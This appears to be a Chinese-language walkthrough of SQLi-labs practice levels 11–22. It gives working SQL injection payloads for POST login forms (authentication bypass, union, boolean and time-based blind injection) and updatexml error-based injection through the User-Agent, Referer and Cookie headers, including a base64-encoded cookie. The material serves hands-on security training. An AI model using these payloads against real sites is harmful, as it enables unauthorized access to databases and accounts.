1.从11关有了新变化,开始有了输入框了,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。
2.还是需要先确定闭合方式,在账号密码框里输入?id=1\,看看效果,根据报错信息可以知道,11关是 ' 闭合,12关是”)闭合。
3.根据burp的抓包来看,post参数里面的账号密码信息如下,可以猜出11 12关的源码形式分别如下:'uname'and'passwd'and'submita' ("uname")and("passwd")and("submita")。这两关都有报错信息,可以使用普通的sql注入。
4.修改uname和passwd的内容(11关为例),为1' or '1=1 ,这样的话在我们不知道账号密码的情况下也可以使sql语句在判断时为真,从而成功登陆,测试一下:
5.这样的话就可以开始注入了,name栏输入真值,passwd栏测试列数:1' order by 2--+,为2时不报错,3报错,说明为2.
6.测试回显 name栏输入真值,passwd栏联合查询:-1' union select 1,2 --+
1.测试闭合?id=1\:
2.继续根据闭合构建真值:1') or ('1=1
3.name为真值,passwd测试列数,列数为2:
4.测试回显点1') union select 1,2 --+:
5.发现没有回显内容,但是经过前十关的学习,有报错可以使用报错注入。
6.或者也可以构造真值来进行盲注:
uname=1') or ('1=1&passwd=1') or length(database())>0 --+ &submit=Submit
1.测试闭合?id=1\:
2.构造真值1') or ('1=1:
3.进行报错注入:
1.还是先测试闭合,15关的特点是没有报错信息,闭合方式只能一个一个试,或者直接看源码,我选择直接看源码:
2.没有报错信息的话,我选择使用构造真值进行盲注。
uname=1' or '1=1&passwd=1' or length(database())=8 --+&submit=Submit
3.使用时间盲注,只有if语句判断信息为真时,才可以成功登陆:
uname=1' or '1=1&passwd=1' or if (length(database())=8,1,sleep(3)) --+&submit=Submit
1.查看源码,知道闭合方式,然后测试:
uname=1") or ("1=1passwd=1") or ("1=1 submit=Submit
2.还是使用盲注和时间盲注:
uname=1") or ("1=1&passwd=1") or length(database())=8 --+&submit=Submi
uname=1") or ("1=1&passwd=1") or if(length(database())=8,1,sleep(6)) --+&submit=Submit
1.第17关的话页面提示重设密码,使用?id=1\ 测试一下,发现没有报错信息
没办法知道闭合方式,只能看代码(代码如下),根据代码可以发现,本关的查询方式为会根据输入的账户的名称,在user表里面进行账户密码的查询,意味着只要账户的名称是对的,他会自己进行密码的查询,不需要进行密码的输入,测试一下输入账户然后登录:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
2.试着在密码的位置进行盲注,成功注入:
uname=admin&passwd=length (database())=8&submit=Submit
3.时间盲注 :
uname=admin&passwd=if(length (database())=8,1,sleep(6)) --+ &submit=Submit
1.根据18关的名称了解到是USER-agent注入,是一个新的类型,先看下源码:
从源码中可以知道两个信息
(1)代码对输入的账号密码进行了特殊字符过滤,导致我们前面所使用的在输入的账号密码里面进行注入语句的插入操作不能使用。
(2)发现源码中有语句执行了插入操作,将用户的uagent信息直接插入到了数据库语句中执行出来,可以以此为突破口,进行注入。
2.根据源码可以知道,要想让数据库执行插入uagent的语句,首先需要有正确的账户密码,才能走到插入的步骤而且源码中也可以看到数据库语句的闭合是 思路清晰以后,下面开始注入,需要注意的是,在源码里面,传参是传了'$uagent', '$IP', $uname,三个参数,然后加上)做闭合,所以在构建报错注入的时候要留意这一点:
User-Agent:' and 1=(updatexml(1,concat(0x7e,(database())),1)), '1','1')#
3.构造闭合的方法不止一种,大家领会意思就行。
1.根据19关源码可以得知,插入的内容是Referer,思路跟上一关一样,源码如下:
2.构造报错注入:
Referer: ' and 1=(updatexml(1,concat(0x7e,(database())),1)),'')#
1.打开第二十关的话,试着登录,显示信息如下:
2.看下源码,注入点应该在cookie的位置
3.试着在cookie中进行注入测试,按F12找到网络,刷新页面,找到提交了cookie的页面,然后选择编辑并重发:
Cookie: uname='and 1=(updatexml(1,concat(0x7e,(database())),1))#
3.查看新提交的cookie响应,成功报错
4.这一关也可以使用burp进行抓包,在抓到的POST数据包里面计入Cookie的值,需要配注意的是,如果在原有包的基础上直接抓包添加Cookie值会显示 ’Your Cookie is deleted‘。
5.通过查询代码可以知道,这是因为源码对 submit的值做了检测,代码如下:
6.所以只要删除数据包里面的submit参数就可以了:
1.源码及正确登录后的信息可以知道,21关的注入点还是cookie,只不过在传输的时候对内容做了64base编码:
2.我们只需要把注入语句进行编码转换就行, 其余的跟20关操作一样,需要注意闭合方式为 ')
在线编码网站:https://c.runoob.com/front-end/693/
菜鸟这个网站也是一个很好的学习网站,十分推荐给大家。
') and 1=(updatexml(1,concat(0x7e,(database())),1))#
3.注入成功:
第二十二关
1.跟上一关一样,只是闭合变成了 "
"and 1=(updatexml(1,concat(0x7e,(database())),1))#